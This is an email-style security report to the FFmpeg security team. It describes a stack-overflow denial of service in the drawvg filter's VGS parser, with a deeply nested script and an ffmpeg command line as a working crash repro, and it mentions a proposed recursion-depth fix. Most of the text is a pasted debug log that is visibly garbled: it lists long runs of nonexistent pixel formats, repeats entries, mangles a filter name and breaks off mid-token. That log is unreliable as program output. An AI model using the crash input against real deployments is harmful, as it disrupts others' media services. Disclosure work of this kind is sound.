



Ruikai Peng <ruikai@pwno.io>

Stack overflow in drawvg parser on deeply nested scripts (commit 016d767c8e9d6c8b3a445bb573cd07a07912a671)

Ruikai Peng <ruikai@pwno.io>

Mon, Dec 8, 2025 at 12:33 PM

To: ffmpeg-security@ffmpeg.org

Hi ffmpeg-security team,

I'm reporting a stack-overflow DoS in the new drawvg filter introduced in commit 016d767c8e9d6c8b3a445bb573cd07a07912a671. The VGS parser recurses unboundedly when handling nested block parameters (if, repeat, proc) in PARAM_SUBPROGRAM (libavfilter/vf_drawvg.c). There is no recursion-depth limit, so deeply nested scripts exhaust the stack during filter initialization.

Repro (x86_64, ASan build at that commit):

1. Generate a nested script (50,000 levels), e.g. /tmp/drawvg-stack.vgs:

```
repeat 1 { repeat 1 { ... } } // 50,000 nested "repeat 1 {"
M 0 0
```

2. Run:

```
./ffmpeg -hide_banner -loglevel debug -f lavfi -i color=black:s=2x2:d=1 \
```

```
-vf "drawvg=file=/tmp/drawvg-stack.vgs" -f null -
```

```
[AVI1terGraph @ 0x732abe5e0340] Setting 'd' to value '1'
detected 8 logical cores.
[Parsed_color_0 @ 0x732abe5e0400] size:2x2 rate:25/1 duration:1.000000 sarx:1/1
[lavfi_0 @ 0x732abe5e0000] Filter 'Parsed_color_0' formats:
[lavfi_0 @ 0x732abe5e0000] out[0] 'default': yuv420p rgb24 bgr24 yuv422p yuv444p yuv410p yuv411p gray vuy420p vuy444p vuy444p nv12 nv21 argb rgba abgr bgra gray16le yuv440p
yuv440p yuv440p rgb565le yuv420p10le yuv444p10le y4a bgr416le yuv420p10le yuv444p10le yuv420p12le yuv444p12le yuv420p14le yuv444p14le yuv420p16le yuv444p16le yuv420p18le
yuv444p18le yuv420p20le yuv444p20le yuv420p22le yuv444p22le yuv420p24le yuv444p24le yuv420p26le yuv444p26le yuv420p28le yuv444p28le yuv420p30le yuv444p30le yuv420p32le
yuv444p32le yuv420p34le yuv444p34le yuv420p36le yuv444p36le yuv420p38le yuv444p38le yuv420p40le yuv444p40le yuv420p42le yuv444p42le yuv420p44le yuv444p44le yuv420p46le
yuv444p46le yuv420p48le yuv444p48le yuv420p50le yuv444p50le yuv420p52le yuv444p52le yuv420p54le yuv444p54le yuv420p56le yuv444p56le yuv420p58le yuv444p58le yuv420p60le
yuv444p60le yuv420p62le yuv444p62le yuv420p64le yuv444p64le yuv420p66le yuv444p66le yuv420p68le yuv444p68le yuv420p70le yuv444p70le yuv420p72le yuv444p72le yuv420p74le
yuv444p74le yuv420p76le yuv444p76le yuv420p78le yuv444p78le yuv420p80le yuv444p80le yuv420p82le yuv444p82le yuv420p84le yuv444p84le yuv420p86le yuv444p86le yuv420p88le
yuv444p88le yuv420p90le yuv444p90le yuv420p92le yuv444p92le yuv420p94le yuv444p94le yuv420p96le yuv444p96le yuv420p98le yuv444p98le yuv420p100le yuv444p100le yuv420p102le
yuv444p102le yuv420p104le yuv444p104le yuv420p106le yuv444p106le yuv420p108le yuv444p108le yuv420p110le yuv444p110le yuv420p112le yuv444p112le yuv420p114le yuv444p114le
yuv420p116le yuv444p116le yuv420p118le yuv444p118le yuv420p120le yuv444p120le yuv420p122le yuv444p122le yuv420p124le yuv444p124le yuv420p126le yuv444p126le yuv420p128le
yuv444p128le yuv420p130le yuv444p130le yuv420p132le yuv444p132le yuv420p134le yuv444p134le yuv420p136le yuv444p136le yuv420p138le yuv444p138le yuv420p140le yuv444p140le
yuv420p142le yuv444p142le yuv420p144le yuv444p144le yuv420p146le yuv444p146le yuv420p148le yuv444p148le yuv420p150le yuv444p150le yuv420p152le yuv444p152le yuv420p154le
yuv444p154le yuv420p156le yuv444p156le yuv420p158le yuv444p158le yuv420p160le yuv444p160le yuv420p162le yuv444p162le yuv420p164le yuv444p164le yuv420p166le yuv444p166le
yuv420p168le yuv444p168le yuv420p170le yuv444p170le yuv420p172le yuv444p172le yuv420p174le yuv444p174le yuv420p176le yuv444p176le yuv420p178le yuv444p178le yuv420p180le
yuv444p180le yuv420p182le yuv444p182le yuv420p184le yuv444p184le yuv420p186le yuv444p186le yuv420p188le yuv444p188le yuv420p190le yuv444p190le yuv420p192le yuv444p192le
yuv420p194le yuv444p194le yuv420p196le yuv444p196le yuv420p198le yuv444p198le yuv420p200le yuv444p200le yuv420p202le yuv444p202le yuv420p204le yuv444p204le yuv420p206le
yuv444p206le yuv420p208le yuv444p208le yuv420p210le yuv444p210le yuv420p212le yuv444p212le yuv420p214le yuv444p214le yuv420p216le yuv444p216le yuv420p218le yuv444p218le
yuv420p220le yuv444p220le yuv420p222le yuv444p222le yuv420p224le yuv444p224le yuv420p226le yuv444p226le yuv420p228le yuv444p228le yuv420p230le yuv444p230le yuv420p232le
yuv444p232le yuv420p234le yuv444p234le yuv420p236le yuv444p236le yuv420p238le yuv444p238le yuv420p240le yuv444p240le yuv420p242le yuv444p242le yuv420p244le yuv444p244le
yuv420p246le yuv444p246le yuv420p248le yuv444p248le yuv420p250le yuv444p250le yuv420p252le yuv444p252le yuv420p254le yuv444p254le yuv420p256le yuv444p256le yuv420p258le
yuv444p258le yuv420p260le yuv444p260le yuv420p262le yuv444p262le yuv420p264le yuv444p264le yuv420p266le yuv444p266le yuv420p268le yuv444p268le yuv420p270le yuv444p270le
yuv420p272le yuv444p272le yuv420p274le yuv444p274le yuv420p276le yuv444p276le yuv420p278le yuv444p278le yuv420p280le yuv444p280le yuv420p282le yuv444p282le yuv420p284le
yuv444p284le yuv420p286le yuv444p286le yuv420p288le yuv444p288le yuv420p290le yuv444p290le yuv420p292le yuv444p292le yuv420p294le yuv444p294le yuv420p296le yuv444p296le
yuv420p298le yuv444p298le yuv420p300le yuv444p300le yuv420p302le yuv444p302le yuv420p304le yuv444p304le yuv420p306le yuv444p306le yuv420p308le yuv444p308le yuv420p310le
yuv444p310le yuv420p312le yuv444p312le yuv420p314le yuv444p314le yuv420p316le yuv444p316le yuv420p318le yuv444p318le yuv420p320le yuv444p320le yuv420p322le yuv444p322le
yuv420p324le yuv444p324le yuv420p326le yuv444p326le yuv420p328le yuv444p328le yuv420p330le yuv444p330le yuv420p332le yuv444p332le yuv420p334le yuv444p334le yuv420p336le
yuv444p336le yuv420p338le yuv444p338le yuv420p340le yuv444p340le yuv420p342le yuv444p342le yuv420p344le yuv444p344le yuv420p346le yuv444p346le yuv420p348le yuv444p348le
yuv420p350le yuv444p350le yuv420p352le yuv444p352le yuv420p354le yuv444p354le yuv420p356le yuv444p356le yuv420p358le yuv444p358le yuv420p360le yuv444p360le yuv420p362le
yuv444p362le yuv420p364le yuv444p364le yuv420p366le yuv444p366le yuv420p368le yuv444p368le yuv420p370le yuv444p370le yuv420p372le yuv444p372le yuv420p374le yuv444p374le
yuv420p376le yuv444p376le yuv420p378le yuv444p378le yuv420p380le yuv444p380le yuv420p382le yuv444p382le yuv420p384le yuv444p384le yuv420p386le yuv444p386le yuv420p388le
yuv444p388le yuv420p390le yuv444p390le yuv420p392le yuv444p392le yuv420p394le yuv444p394le yuv420p396le yuv444p396le yuv420p39
```

Result: immediate crash with AddressSanitizer stack overflow in vgs_parse (recursive descent through PARAM SUBPROGRAM).

Impact: denial of service from malicious VGS scripts (inline or file-based) before any video processing occurs.

We attached a patch (as a recommendation) that we have validated, by implementing a `VGS_MAX_RECURSION_DEPTH (1024)`. Feel free to review it and send us improvement advice to fit best with FFmpeg's *styling & philosophy*.

Best,
Pwn0 OSS Team